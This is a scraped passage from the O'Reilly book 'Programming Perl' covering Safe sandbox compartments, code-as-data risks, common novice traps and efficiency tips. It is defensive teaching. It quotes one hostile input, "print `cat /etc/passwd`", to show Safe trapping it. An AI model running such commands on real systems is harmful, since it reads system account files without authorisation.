In this realm, prudence is synonymous with paranoia. What you want is a system that lets you impose a quarantine on suspicious code. The code can continue to exist, and even perform certain functions, but you don't let it wander around doing just anything it feels like. In Perl, you can impose a kind of quarantine using the Safe module.

23.3.1. Safe Compartments

The Safe module lets you set up a sandbox, a special compartment in which all system operations are trapped, and namespace access is carefully controlled. The low-level, technical details of this module are in a state of flux, so here we'll take a more philosophical approach.

23.3.1.1. Restricting namespace access

At the most basic level, a Safe object is like a safe, except the idea is to keep the bad people in, not out. In the Unix world, there is a syscall known as chroot(2) that can permanently consign a process to running only in a subdirectory of the directory structure--in its own private little hell, if you will. Once the process is put there, there is no way for it to reach files outside, because there's no way for it to name files outside.[13] A Safe object is a little like that, except that instead of being restricted to a subset of the filesystem's directory structure, it's restricted to a subset of Perl's package structure, which is hierarchical just as the filesystem is.

[13]Some sites do this for executing all CGI scripts, using loopback, read-only mounts. It's something of a pain to set up, but if someone ever escapes, they'll find there's nowhere to go.

Another way to look at it is that the Safe object is like one of those observation rooms with one-way mirrors that the police put suspicious characters into. People on the outside can look into the room, but those inside can't see out.

When you create a Safe object, you may give it a package name if you want. If you don't, a new one will be chosen for you:

use Safe;
my $sandbox = Safe->new("Dungeon");
$Dungeon::foo = 1;  # Direct access is discouraged, though.
If you fully qualify variables and functions using the package name supplied to the new method, you can access them in that package from the outside, at least in the current implementation. This may change however, since the current plan is to clone the symbol table into a new interpreter. Slightly more upward compatible might be to set things up first before creating the Safe, as shown below. This is likely to continue working and is a handy way to set up a Safe that has to start off with a lot of "state". (Admittedly, $Dungeon::foo isn't a lot of state.)
use Safe;
$Dungeon::foo = 1;  # Still direct access, still discouraged.
my $sandbox = Safe->new("Dungeon");
But Safe also provides a way to access the compartment's globals even if you don't know the name of the compartment's package. So for maximal upward compatibility (though less than maximal speed), we suggest you use the reval method:
use Safe;
my $sandbox = Safe->new();
$sandbox->reval('$foo = 1');
(In fact, that's the same method you'll use to run suspicious code.) When you pass code into the compartment to compile and run, that code thinks that it's really living in the main package. What the outside world calls $Dungeon::foo, the code inside thinks of as $main::foo, or $::foo, or just $foo if you aren't running under use strict. It won't work to say $Dungeon::foo inside the compartment, because that would really access $Dungeon::Dungeon::foo. By giving the Safe object its own notion of main, variables and subroutines in the rest of your program are protected.

To compile and run code inside the compartment, use the reval ("restricted eval") method, passing the code string as its argument. Just as with any other eval STRING construct, compilation errors and run-time exceptions in reval don't kill your program. They just abort the reval and leave the exception in $@, so make sure to check it after every reval call.

Using the initializations given earlier, this code will print out that "foo is now 2":

$sandbox->reval('$foo++; print "foo is now $main::foo\n"');
if ($@) {
    die "Couldn't compile code in box: $@";
}
If you just want to compile code and not run it, wrap your string in a subroutine declaration:
$sandbox->reval(q{
    our $foo;
    sub say_foo {
        print "foo is now $main::foo\n";
    }
}, 1);
die if $@;      # check compilation
This time we passed reval a second argument which, since it's true, tells reval to compile the code under the strict pragma. From within the code string, you can't disable strictness, either, because importing and unimporting are just two of the things you can't normally do in a Safe compartment. There are a lot of things you can't do normally in a Safe compartment--see the next section.

Once you've created the say_foo function in the compartment, these are pretty much the same:

$sandbox->reval('say_foo()');       # Best way.
die if $@;

$sandbox->varglob('say_foo')->();   # Call through anonymous glob.

Dungeon::say_foo();                 # Direct call, strongly discouraged.

23.3.1.2. Restricting operator access

The other important thing about a Safe object is that Perl limits the available operations within the sandbox. (You might well let your kid take a bucket and shovel into the sandbox, but you'd probably draw the line at a bazooka.) It's not enough to protect just the rest of your program; you need to protect the rest of your computer, too.

When you compile Perl code in a Safe object, either with reval or rdo (the restricted version of the do FILE operator), the compiler consults a special, per-compartment access-control list to decide whether each individual operation is deemed safe to compile. This way you don't have to stress out (much) worrying about unforeseen shell escapes, opening files when you didn't mean to, strange code assertions in regular expressions, or most of the external access problems folks normally fret about. (Or ought to.)

The interface for specifying which operators should be permitted or restricted is currently under redesign, so we only show how to use the default set of them here. For details, consult the online documentation for the Safe module.

The Safe module doesn't offer complete protection against denial-of-service attacks, especially when used in its more permissive modes. Denial-of-service attacks consume all available system resources of some type, denying other processes access to essential system facilities. Examples of such attacks include filling up the kernel process table, dominating the CPU by running forever in a tight loop, exhausting available memory, and filling up a filesystem. These problems are very difficult to solve, especially portably. See the end of the section Section 23.3.2, "Code Masquerading as Data" for more discussion of denial-of-service attacks.

23.3.1.3. Safe examples

Imagine you've got a CGI program that manages a form into which the user may enter an arbitrary Perl expression and get back the evaluated result.[14] Like all external input, the string comes in tainted, so Perl won't let you eval it yet--you'll first have to untaint it with a pattern match. The problem is that you'll never be able to devise a pattern that can detect all possible threats. And you don't dare just untaint whatever you get and send it through the built-in eval. (If you do that, we will be tempted to break into your system and delete the script.)

[14]Please don't laugh. We really have seen web pages that do this. Without a Safe!

That's where reval comes in. Here's a CGI script that processes a form with a single form field, evaluates (in scalar context) whatever string it finds there, and prints out the formatted result:

#!/usr/bin/perl -lTw
use strict;
use CGI::Carp 'fatalsToBrowser';
use CGI qw/:standard escapeHTML/;
use Safe;

print header(-type => "text/html;charset=UTF-8"),
      start_html("Perl Expression Results");
my $expr = param("EXPR") =~ /^([^;]+)/
            ? $1 # return the now-taintless portion
            : croak("no valid EXPR field in form");
my $answer = Safe->new->reval($expr);
die if $@;

print p("Result of", tt(escapeHTML($expr)),
               "is", tt(escapeHTML($answer)));
Imagine some evil user feeding you "print `cat /etc/passwd`" (or worse) as the input string. Thanks to the restricted environment that disallows backticks, Perl catches the problem during compilation and returns immediately. The string in $@ is "quoted execution (``, qx) trapped by operation mask", plus the customary trailing information identifying where the problem happened.

Because we didn't say otherwise, the compartments we've been creating all used the default set of allowable operations. How you go about declaring specific operations permitted or forbidden isn't important here. What is important is that this is completely under the control of your program. And since you can create multiple Safe objects in your program, you can confer various degrees of trust upon various chunks of code, depending on where you got them from.

If you'd like to play around with Safe, here's a little interactive Perl calculator. It's a calculator in that you can feed it numeric expressions and immediately see their results. But it's not limited to numbers alone. It's more like the looping example under eval in Chapter 29, "Functions", where you can take whatever they give you, evaluate it, and give them back the result. The difference is that the Safe version doesn't execute just anything you feel like. You can run this calculator interactively at your terminal, typing in little bits of Perl code and checking the answers, to get a feel for what sorts of protection Safe provides.

#!/usr/bin/perl -w
# safecalc - demo program for playing with Safe
use strict;
use Safe;
my $sandbox = Safe->new();
while (1) {
    print "Input: ";
    my $expr = <STDIN>;
    exit unless defined $expr;
    chomp($expr);
    print "$expr produces ";
    local $SIG{__WARN__} = sub { die @_ };
    my $result = $sandbox->reval($expr, 1);
    if ($@ =~ s/at \(eval \d+\).*//) {
        printf "[%s]: %s", $@ =~ /trapped by operation mask/
            ? "Security Violation" : "Exception", $@;
    }
    else {
        print "[Normal Result] $result\n";
    }
}

Warning: the Safe module is currently being redesigned to run each compartment within a completely independent Perl interpreter inside the same process. (This is the strategy that Apache's mod_perl employs when running precompiled Perl scripts.) Details are still hazy at this time, but our crystal ball suggests that blindly poking at things inside the compartment using a named package won't get you very far after the impending rewrite. If you're running a version of Perl later than 5.6, check the release notes in perldelta(1) to see what's changed, or consult the documentation for the Safe module itself. (Of course, you always do that anyway, right?)

23.3.2. Code Masquerading as Data

Safe compartments are available for when the really scary stuff is going down, but that doesn't mean you should let down your guard totally when you're doing the everyday stuff around home. You need to cultivate an awareness of your surroundings and look at things from the point of view of someone wanting to break in. You need to take proactive steps like keeping things well lit and trimming the bushes that can hide various lurking problems.

Perl tries to help you in this area, too. Perl's conventional parsing and execution scheme avoids the pitfalls that shell programming languages often fall prey to. There are many extremely powerful features in the language, but by design, they're syntactically and semantically bounded in ways that keep things under the control of the programmer. With few exceptions, Perl evaluates each token only once. Something that looks like it's being used as a simple data variable won't suddenly go rooting around in your filesystem.

Unfortunately, that sort of thing can happen if you call out to the shell to run other programs for you, because then you're running under the shell's rules instead of Perl's. The shell is easy to avoid, though--just use the list argument forms of the system, exec, or piped open functions. Although backticks don't have a list-argument form that is proof against the shell, you can always emulate them as described in the section Section 23.1.3, "Accessing Commands and Files Under Reduced Privileges". (While there's no syntactic way to make backticks take an argument list, a multi-argument form of the underlying readpipe operator is in development; but as of this writing, it isn't quite ready for prime time.)

When you use a variable in an expression (including when you interpolate it into a double-quoted string), there's No Chance that the variable will contain Perl code that does something you aren't intending.[15] Unlike the shell, Perl never needs defensive quotes around variables, no matter what might be in them.

$new = $old;                # No quoting needed.
print "$new items\n";       # $new can't hurt you.

$phrase = "$new items\n";   # Nor here, neither.
print $phrase;              # Still perfectly ok.
Perl takes a "what you see is what you get" approach. If you don't see an extra level of interpolation, then it doesn't happen. It is possible to interpolate arbitrary Perl expressions into strings, but only if you specifically ask Perl to do that. (Even so, the contents are still subject to taint checking if you're in taint mode.)
$phrase = "You lost @{[ 1 + int rand(6) ]} hit points\n";
Interpolation is not recursive, however. You can't just hide an arbitrary expression in a string:
$count = '1 + int rand(6)';             # Some random code.
$saying = "$count hit points";          # Merely a literal.
$saying = "@{[$count]} hit points";     # Also a literal.
Both assignments to $saying would produce "1 + int rand(6) hit points", without evaluating the interpolated contents of $count as code. To get Perl to do that, you have to call eval STRING explicitly:
$code = '1 + int rand(6)';
$die_roll = eval $code;
die if $@;
If $code were tainted, that eval STRING would raise its own exception. Of course, you almost never want to evaluate random user code--but if you did, you should look into using the Safe module. You may have heard of it.

[15]Although if you're generating a web page, it's possible to emit HTML tags, including JavaScript code, that might do something that the remote browser isn't expecting.

There is one place where Perl can sometimes treat data as code; namely, when the pattern in a qr//, m//, or s/// operator contains either of the new regular expression assertions, (?{CODE}) or (??{CODE}). These pose no security issues when used as literals in pattern matches:

$cnt = $n = 0;
while ($data =~ /( \d+ (?{ $n++ }) | \w+ )/gx) {
    $cnt++;
}
print "Got $cnt words, $n of which were digits.\n";
But existing code that interpolates variables into matches was written with the assumption that the data is data, not code. The new constructs might have introduced a security hole into previously secure programs. Therefore, Perl refuses to evaluate a pattern if an interpolated string contains a code assertion, and raises an exception instead. If you really need that functionality, you can always enable it with the lexically scoped use re 'eval' pragma. (You still can't use tainted data for an interpolated code assertion, though.)

A completely different sort of security concern that can come up with regular expressions is denial-of-service problems. These can make your program quit too early, or run too long, or exhaust all available memory--and sometimes even dump core, depending on the phase of the moon.

When you process user-supplied patterns, you don't have to worry about interpreting random Perl code. However, the regular expression engine has its own little compiler and interpreter, and the user-supplied pattern is capable of giving the regular expression compiler heartburn. If an interpolated pattern is not a valid pattern, a run-time exception is raised, which is fatal unless trapped. If you do try to trap it, make sure to use only eval BLOCK, not eval STRING, because the extra evaluation level of the latter would in fact allow the execution of random Perl code. Instead, do something like this:

if (not eval { "" =~ /$match/; 1 }) {
    # (Now do whatever you want for a bad pattern.)
}
else {
    # We know pattern is at least safe to compile.
    if ($data =~ /$match/) { ... }
}
A more troubling denial-of-service problem is that given the right data and the right search pattern, your program can appear to hang forever. That's because some pattern matches require exponential time to compute, and this can easily exceed the MTBF rating on our solar system. If you're especially lucky, these computationally intensive patterns will also require exponential storage. If so, your program will exhaust all available virtual memory, bog down the rest of the system, annoy your users, and either die with an orderly "Out of memory!" error or else leave behind a really big core dump file, though perhaps not as large as the solar system.

Like most denial-of-service attacks, this one is not easy to solve. If your platform supports the alarm function, you could time out the pattern match. Unfortunately, Perl cannot (currently) guarantee that the mere act of handling a signal won't ever trigger a core dump. (This is scheduled to be fixed in a future release.) You can always try it, though, and even if it the signal isn't handled gracefully, at least the program won't run forever.

If your system supports per-process resource limits, you could set these in your shell before calling the Perl program, or use the BSD::Resource module from CPAN to do so directly from Perl. The Apache web server allows you to set time, memory, and file size limits on CGI scripts that it launches.

Finally, we hope we've left you with some unresolved feelings of insecurity. Remember, just because you're paranoid doesn't mean they're not out to get you. So you might as well enjoy it.

Previous | Home | Next
23.2. Handling Timing Glitches | Book Index | 24. Common Practices
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Common Practices (Programming Perl)

 Book Home Programming PerlSearch this book

Chapter 24. Common Practices

Contents:

Common Goofs for Novices
Efficiency
Programming with Style
Fluent Perl
Program Generation

Ask almost any Perl programmer, and they'll be glad to give you reams of advice on how to program. We're no different (in case you hadn't noticed). In this chapter, rather than trying to tell you about specific features of Perl, we'll go at it from the other direction and use a more scattergun approach to describe idiomatic Perl. Our hope is that, by putting together various bits of things that seemingly aren't related, you can soak up some of the feeling of what it's like to actually "think Perl". After all, when you're programming, you don't write a bunch of expressions, then a bunch of subroutines, then a bunch of objects. You have to go at everything all at once, more or less. So this chapter is a bit like that.

There is, however, a rudimentary organization to the chapter, in that we'll start with the negative advice and work our way towards the positive advice. We don't know if that will make you feel any better, but it makes us feel better.

24.1. Common Goofs for Novices

The biggest goof of all is forgetting to use warnings, which identifies many errors. The second biggest goof is forgetting to use strict when it's appropriate. These two pragmas can save you hours of head-banging when your program starts getting bigger. (And it will.) Yet another faux pas is to forget to consult the online FAQ. Suppose you want to find out if Perl has a round function. You might try searching the FAQ first:

% perlfaq round
Apart from those "metagoofs", there are several kinds of programming traps. Some traps almost everyone falls into, and other traps you'll fall into only if you come from a particular culture that does things differently. We've separated these out in the following sections.

24.1.1. Universal Blunders

  • Putting a comma after the filehandle in a print statement. Although it looks extremely regular and pretty to say:

    print STDOUT, "goodbye", $adj, "world!\n";    # WRONG
    this is nonetheless incorrect, because of that first comma. What you want instead is the indirect object syntax:
    print STDOUT "goodbye", $adj, "world!\n";     # ok
    The syntax works this way so that you can say:
    print $filehandle "goodbye", $adj, "world!\n";
    where $filehandle is a scalar holding the name of a filehandle at run time. This is distinct from:
    print $notafilehandle, "goodbye", $adj, "world!\n";
    where $notafilehandle is simply a string that is part of the list of things to be printed. See "indirect object" in the Glossary.

  • Using == instead of eq and != instead of ne. The == and != operators are numeric tests. The other two are string tests. The strings "123" and "123.00" are equal as numbers, but not equal as strings. Also, any nonnumeric string is numerically equal to zero. Unless you are dealing with numbers, you almost always want the string comparison operators instead.

  • Forgetting the trailing semicolon. Every statement in Perl is terminated by a semicolon or the end of a block. Newlines aren't statement terminators as they are in awk, Python, or FORTRAN. Remember that Perl is like C.

    A statement containing a here document is particularly prone to losing its semicolon. It ought to look like this:

    print <<'FINIS';
A foolish consistency is the hobgoblin of little minds,
adored by little statesmen and philosophers and divines.
                                       --Ralph Waldo Emerson
FINIS

  • Forgetting that a BLOCK requires braces. Naked statements are not BLOCKs. If you are creating a control structure such as a while or an if that requires one or more BLOCKs, you must use braces around each BLOCK. Remember that Perl is not like C.

  • Not saving $1, $2, and so on, across regular expressions. Remember that every new m/atch/ or s/ubsti/tution/ will set (or clear, or mangle) your $1, $2...variables, as well as $`, $&, and $'. One way to save them right away is to evaluate the match within a list context, as in:

    my ($one, $two) = /(\w+) (\w+)/;

  • Not realizing that a local also changes the variable's value as seen by other subroutines called within the scope of the local. It's easy to forget that local is a run-time statement that does dynamic scoping, because there's no equivalent in languages like C. See the section "Scoped Declarations" in Chapter 4, "Statements and Declarations". Usually you want a my anyway.

  • Losing track of brace pairings. A good text editor will help you find the pairs. Get one. (Or two.)

  • Using loop control statements in do {} while. Although the braces in this control structure look suspiciously like part of a loop BLOCK, they aren't.

  • Saying @foo[1] when you mean $foo[1]. The @foo[1] reference is an array slice, meaning an array consisting of the single element $foo[1]. Sometimes this doesn't make any difference, as in:

    print "the answer is @foo[1]\n";
    but it makes a big difference for things like:
    @foo[1] = <STDIN>;
    which will slurp up all the rest of STDIN, assign the first line to $foo[1], and discard everything else. This is probably not what you intended. Get into the habit of thinking that $ means a single value, while @ means a list of values, and you'll do okay.

  • Forgetting the parentheses of a list operator like my:

    my  $x, $y  = (4, 8);     # WRONG
my ($x, $y) = (4, 8);     # ok

  • Forgetting to select the right filehandle before setting $^, $~, or $|. These variables depend on the currently selected filehandle, as determined by select(FILEHANDLE). The initial filehandle so selected is STDOUT. You should really be using the filehandle methods from the FileHandle module instead. See Chapter 28, "Special Names".

24.1.2. Frequently Ignored Advice

Practicing Perl Programmers should take note of the following:

  • Remember that many operations behave differently in a list context than they do in a scalar one. For instance:

    ($x) = (4, 5, 6);        # List context; $x is set to 4
 $x  = (4, 5, 6);        # Scalar context; $x is set to 6

 @a  = (4, 5, 6);
 $x  = @a;               # Scalar context; $x is set to 3 (the array list)

  • Avoid barewords if you can, especially all lowercase ones. You can't tell just by looking at it whether a word is a function or a bareword string. By using quotes on strings and parentheses around function call arguments, you won't ever get them confused. In fact, the pragma use strict at the beginning of your program makes barewords a compile-time error--probably a good thing.

  • You can't tell just by looking which built-in functions are unary operators (like chop and chdir), which are list operators (like print and unlink), and which are argumentless (like time). You'll want to learn them by reading Chapter 29, "Functions". As always, use parentheses if you aren't sure--or even if you aren't sure you're sure. Note also that user-defined subroutines are by default list operators, but they can be declared as unary operators with a prototype of ($) or argumentless with a prototype of ().

  • People have a hard time remembering that some functions default to $_, or @ARGV, or whatever, while others do not. Take the time to learn which are which, or avoid default arguments.

  • <FH> is not the name of a filehandle, but an angle operator that does a line-input operation on the handle. This confusion usually manifests itself when people try to print to the angle operator:

    print <FH> "hi";    # WRONG, omit angles

  • Remember also that data read by the angle operator is assigned to $_ only when the file read is the sole condition in a while loop:

    while (<FH>) { }   # Data assigned to $_.
<FH>;              # Data read and discarded!

  • Don't use = when you need =~; the two constructs are quite different:

    $x =  /foo/;  # Searches $_ for "foo", puts result in $x
$x =~ /foo/;  # Searches $x for "foo", discards result

  • Use my for local variables whenever you can get away with it. Using local merely gives a temporary value to a global variable, which leaves you open to unforeseen side effects of dynamic scoping.

  • Don't use local on a module's exported variables. If you localize an exported variable, its exported value will not change. The local name becomes an alias to a new value but the external name is still an alias for the original.

24.1.3. C Traps

Cerebral C programmers should take note of the following:

  • Curlies are required for if and while blocks.

  • You must use elsif rather than "else if" or "elif". Syntax like this:

    if (expression) {
    block;
}
else if (another_expression) {      # WRONG
    another_block;
}
    is illegal. The else part is always a block, and a naked if is not a block. You mustn't expect Perl to be exactly the same as C. What you want instead is:
    if (expression) {
    block;
}
elsif (another_expression) {
    another_block;
}
    Note also that "elif" is "file" spelled backward. Only Algol-ers would want a keyword that was the same as another word spelled backward.

  • The break and continue keywords from C become in Perl last and next, respectively. Unlike in C, these do not work within a do {} while construct.

  • There's no switch statement. (But it's easy to build one on the fly; see "Bare Blocks" and "Case Structures" in Chapter 4, "Statements and Declarations".)

  • Variables begin with $, @, or % in Perl.

  • Comments begin with #, not /*.

  • You can't take the address of anything, although a similar operator in Perl is the backslash, which creates a reference.

  • ARGV must be capitalized. $ARGV[0] is C's argv[1], and C's argv[0] ends up in $0.

  • Syscalls such as link, unlink, and rename return true for success, not 0.

  • The signal handlers in %SIG deal with signal names, not numbers.

24.1.4. Shell Traps

Sharp shell programmers should take note of the following:

  • Variables are prefixed with $, @, or % on the left side of the assignment as well as the right. A shellish assignment like:

    camel='dromedary';      # WRONG
    won't be parsed the way you expect. You need:
    $camel='dromedary';     # ok

  • The loop variable of a foreach also requires a $. Although csh likes:

    foreach hump (one two)
    stuff_it $hump
end
    in Perl, this is written as:
    foreach $hump ("one", "two") {
    stuff_it($hump);
}

  • The backtick operator does variable interpolation without regard to the presence of single quotes in the command.

  • The backtick operator does no translation of the return value. In Perl, you have to trim the newline explicitly, like this:

    chomp($thishost = `hostname`);

  • Shells (especially csh) do several levels of substitution on each command line. Perl does interpolation only within certain constructs such as double quotes, backticks, angle brackets, and search patterns.

  • Shells tend to interpret scripts a little bit at a time. Perl compiles the entire program before executing it (except for BEGIN blocks, which execute before the compilation is done).

  • Program arguments are available via @ARGV, not $1, $2, and so on.

  • The environment is not automatically made available as individual scalar variables. Use the standard Env module if you want that to happen.

24.1.5. Previous Perl Traps

Penitent Perl 4 (and Prior) Programmers should take note of the following changes between release 4 and release 5 that might affect old scripts:

  • @ now always interpolates an array in double-quotish strings. Some programs may now need to use backslashes to protect any @ that shouldn't interpolate.

  • Barewords that used to look like strings to Perl will now look like subroutine calls if a subroutine by that name is defined before the compiler sees them. For example:

    sub SeeYa { die "Hasta la vista, baby!" }
$SIG{'QUIT'} = SeeYa;
    In prior versions of Perl, that code would set the signal handler. Now, it actually calls the function! You may use the -w switch to find such risky usage or use strict to outlaw it.

  • Identifiers starting with "_" are no longer forced into package main, except for the bare underscore itself (as in $_, @_, and so on).

  • A double colon is now a valid package separator in an identifier. Thus, the statement:

    print "$a::$b::$c\n";
    now parses $a:: as the variable reference, where in prior versions only the $a was considered to be the variable reference. Similarly:
    print "$var::abc::xyz\n";
    is now interpreted as a single variable $var::abc::xyz, whereas in prior versions, the variable $var would have been followed by the constant text ::abc::xyz.

  • s'$pattern'replacement' now performs no interpolation on $pattern. (The $ would be interpreted as an end-of-line assertion.) This behavior occurs only when using single quotes as the substitution delimiter; in other substitutions, $pattern is always interpolated.

  • The second and third arguments of splice are now evaluated in scalar context rather than in list context.

  • These are now semantic errors because of precedence:

    shift @list + 20;    # Now parses like shift(@list + 20), illegal!
$n = keys %map + 20; # Now parses like keys(%map + 20), illegal!
    Because if those were to work, then this couldn't:
    sleep $dormancy + 20;

  • The precedence of assignment operators is now the same as the precedence of assignment. Previous versions of Perl mistakenly gave them the precedence of the associated operator. So you now must parenthesize them in expressions like:

    /foo/ ? ($a += 2) : ($a -= 2);
    Otherwise:
    /foo/ ? $a += 2 : $a -= 2;
    would be erroneously parsed as:
    (/foo/ ? $a += 2 : $a) -= 2;
    On the other hand:
    $a += /foo/ ? 1 : 2;
    now works as a C programmer would expect.

  • open FOO || die is incorrect. You need parentheses around the filehandle, because open has the precedence of a list operator.

  • The elements of argument lists for formats are now evaluated in list context. This means you can interpolate list values now.

  • You can't do a goto into a block that is optimized away. Darn.

  • It is no longer legal to use whitespace as the name of a variable or as a delimiter for any kind of quote construct. Double darn.

  • The caller function now returns a false value in scalar context if there is no caller. This lets modules determine whether they're being required or run directly.

  • m//g now attaches its state to the searched string rather than the regular expression. See Chapter 5, "Pattern Matching", for further details.

  • reverse is no longer allowed as the name of a sort subroutine.

  • taintperl is no longer a separate executable. There is now a -T switch to turn on tainting when it isn't turned on automatically.

  • Double-quoted strings may no longer end with an unescaped $ or @.

  • The archaic if BLOCK BLOCK syntax is no longer supported.

  • Negative array subscripts now count from the end of the array.

  • The comma operator in a scalar context is now guaranteed to give a scalar context to its arguments.

  • The ** operator now binds more tightly than unary minus.

  • Setting $#array lower now discards array elements immediately.

  • delete is not guaranteed to return the deleted value for tied arrays, since this capability may be onerous for some modules to implement.

  • The construct "this is $$x", which used to interpolate the process ID at that point, now tries to dereference $x. $$ by itself still works fine, however.

  • The behavior of foreach when it iterates over a list that is not an array has changed slightly. It used to assign the list to a temporary array but now, for efficiency, no longer does so. This means that you'll now be iterating over the actual values, not copies of the values. Modifications to the loop variable can change the original values, even after the grep! For instance:

    % perl4 -e '@a = (1,2,3); for (grep(/./, @a)) { $_++ }; print "@a\n"'
1 2 3
% perl5 -e '@a = (1,2,3); for (grep(/./, @a)) { $_++ }; print "@a\n"'
2 3 4
    To retain prior Perl semantics, you'd need to explicitly assign your list to a temporary array and then iterate over that. For example, you might need to change:
    foreach $var (grep /x/, @list) { ... }
    to:
    foreach $var (my @tmp = grep /x/, @list) { ... }
    Otherwise changing $var will clobber the values of @list. (This most often happens when you use $_ for the loop variable and call subroutines in the loop that don't properly localize $_.)

  • Some error messages and warnings will be different.

  • Some bugs may have been inadvertently removed.

Previous | Home | Next
23.3. Handling Insecure Code | Book Index | 24.2. Efficiency
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Efficiency (Programming Perl)

 Programming PerlSearch this book

24.2. Efficiency

While most of the work of programming may be simply getting your program working properly, you may find yourself wanting more bang for the buck out of your Perl program. Perl's rich set of operators, data types, and control constructs are not necessarily intuitive when it comes to speed and space optimization. Many trade-offs were made during Perl's design, and such decisions are buried in the guts of the code. In general, the shorter and simpler your code is, the faster it runs, but there are exceptions. This section attempts to help you make it work just a wee bit better.

If you want it to work a lot better, you can play with the Perl compiler backend described in Chapter 18, "Compiling", or rewrite your inner loop as a C extension as illustrated in Chapter 21, "Internals and Externals".

Note that optimizing for time may sometimes cost you in space or programmer efficiency (indicated by conflicting hints below). Them's the breaks. If programming was easy, they wouldn't need something as complicated as a human being to do it, now would they?

24.2.1. Time Efficiency

  • Use hashes instead of linear searches. For example, instead of searching through @keywords to see if $_ is a keyword, construct a hash with:

    my %keywords;
for (@keywords) {
    $keywords{$_}++;
}
    Then you can quickly tell if $_ contains a keyword by testing $keyword{$_} for a nonzero value.

  • Avoid subscripting when a foreach or list operator will do. Not only is subscripting an extra operation, but if your subscript variable happens to be in floating point because you did arithmetic, an extra conversion from floating point back to integer is necessary. There's often a better way to do it. Consider using foreach, shift, and splice operations. Consider saying use integer.

  • Avoid goto. It scans outward from your current location for the indicated label.

  • Avoid printf when print will do.

  • Avoid $& and its two buddies, $` and $'. Any occurrence in your program causes all matches to save the searched string for possible future reference. (However, once you've blown it, it doesn't hurt to have more of them.)

  • Avoid using eval on a string. An eval of a string (although not of a BLOCK) forces recompilation every time through. The Perl parser is pretty fast for a parser, but that's not saying much. Nowadays there's almost always a better way to do what you want anyway. In particular, any code that uses eval merely to construct variable names is obsolete since you can now do the same directly using symbolic references:

    no strict 'refs';
$name = "variable";
$$name = 7;           # Sets $variable to 7

  • Avoid eval STRING inside a loop. Put the loop into the eval instead, to avoid redundant recompilations of the code. See the study operator in Chapter 29, "Functions" for an example of this.

  • Avoid run-time-compiled patterns. Use the /pattern/o (once only) pattern modifier to avoid pattern recompilation when the pattern doesn't change over the life of the process. For patterns that change occasionally, you can use the fact that a null pattern refers back to the previous pattern, like this:

    "foundstring" =~ /$currentpattern/;        # Dummy match (must succeed).
while (<>) {
    print if //;
}
    Alternatively, you can precompile your regular expression using the qr quote construct. You can also use eval to recompile a subroutine that does the match (if you only recompile occasionally). That works even better if you compile a bunch of matches into a single subroutine, thus amortizing the subroutine call overhead.

  • Short-circuit alternation is often faster than the corresponding regex. So:

    print if /one-hump/ || /two/;
    is likely to be faster than:
    print if /one-hump|two/;
    at least for certain values of one-hump and two. This is because the optimizer likes to hoist certain simple matching operations up into higher parts of the syntax tree and do very fast matching with a Boyer-Moore algorithm. A complicated pattern tends to defeat this.

  • Reject common cases early with next if. As with simple regular expressions, the optimizer likes this. And it just makes sense to avoid unnecessary work. You can typically discard comment lines and blank lines even before you do a split or chop:

    while (<>) {
    next if /^#/;
    next if /^$/;
    chop;
    @piggies = split(/,/);
    ...
}

  • Avoid regular expressions with many quantifiers or with big {MIN,MAX} numbers on parenthesized expressions. Such patterns can result in exponentially slow backtracking behavior unless the quantified subpatterns match on their first "pass". You can also use the (?>...) construct to force a subpattern to either match completely or fail without backtracking.

  • Try to maximize the length of any nonoptional literal strings in regular expressions. This is counterintuitive, but longer patterns often match faster than shorter patterns. That's because the optimizer looks for constant strings and hands them off to a Boyer-Moore search, which benefits from longer strings. Compile your pattern with Perl's -Dr debugging switch to see what Dr. Perl thinks the longest literal string is.

  • Avoid expensive subroutine calls in tight loops. There is overhead associated with calling subroutines, especially when you pass lengthy parameter lists or return lengthy values. In order of increasing desperation, try passing values by reference, passing values as dynamically scoped globals, inlining the subroutine, or rewriting the whole loop in C. (Better than all of those solutions is if you can define the subroutine out of existence by using a smarter algorithm.)

  • Avoid getc for anything but single-character terminal I/O. In fact, don't use it for that either. Use sysread.

  • Avoid frequent substrs on long strings, especially if the string contains UTF-8. It's okay to use substr at the front of a string, and for some tasks you can keep the substr at the front by "chewing up" the string as you go with a four-argument substr, replacing the part you grabbed with "":

    while ($buffer) {
    process(substr($buffer, 0, 10, ""));
}

  • Use pack and unpack instead of multiple substr invocations.

  • Use substr as an lvalue rather than concatenating substrings. For example, to replace the fourth through seventh characters of $foo with the contents of the variable $bar, don't do this:

    $foo = substr($foo,0,3) . $bar . substr($foo,7);
    Instead, simply identify the part of the string to be replaced and assign into it, as in:
    substr($foo, 3, 4) = $bar;
    But be aware that if $foo is a huge string and $bar isn't exactly the length of the "hole", this can do a lot of copying too. Perl tries to minimize that by copying from either the front or the back, but there's only so much it can do if the substr is in the middle.

  • Use s/// rather than concatenating substrings. This is especially true if you can replace one constant with another of the same size. This results in an in-place substitution.

  • Use statement modifiers and equivalent and and or operators instead of full-blown conditionals. Statement modifiers (like $ring = 0 unless $engaged) and logical operators avoid the overhead of entering and leaving a block. They can often be more readable too.

  • Use $foo = $a || $b || $c. This is much faster (and shorter to say) than:

    if ($a) {
    $foo = $a;
}
elsif ($b) {
    $foo = $b;
}
elsif ($c) {
    $foo = $c;
}
    Similarly, set default values with:
    $pi ||= 3;

  • Group together any tests that want the same initial string. When testing a string for various prefixes in anything resembling a switch structure, put together all the /^a/ patterns, all the /^b/ patterns, and so on.

  • Don't test things you know won't match. Use last or elsif to avoid falling through to the next case in your switch statement.

  • Use special operators like study, logical string operations, pack 'u', and unpack '%' formats.

  • Beware of the tail wagging the dog. Misstatements resembling (<STDIN>)[0] can cause Perl much unnecessary work. In accordance with Unix philosophy, Perl gives you enough rope to hang yourself.

  • Factor operations out of loops. The Perl optimizer does not attempt to remove invariant code from loops. It expects you to exercise some sense.

  • Strings can be faster than arrays.

  • Arrays can be faster than strings. It all depends on whether you're going to reuse the strings or arrays and which operations you're going to perform. Heavy modification of each element implies that arrays will be better, and occasional modification of some elements implies that strings will be better. But you just have to try it and see.

  • my variables are faster than local variables.

  • Sorting on a manufactured key array may be faster than using a fancy sort subroutine. A given array value will usually be compared multiple times, so if the sort subroutine has to do much recalculation, it's better to factor out that calculation to a separate pass before the actual sort.

  • If you're deleting characters, tr/abc//d is faster than s/[abc]//g.

  • print with a comma separator may be faster than concatenating strings. For example:

    print $fullname{$name} . " has a new home directory " .
    $home{$name} . "\n";
    has to glue together the two hashes and the two fixed strings before passing them to the low-level print routines, whereas:
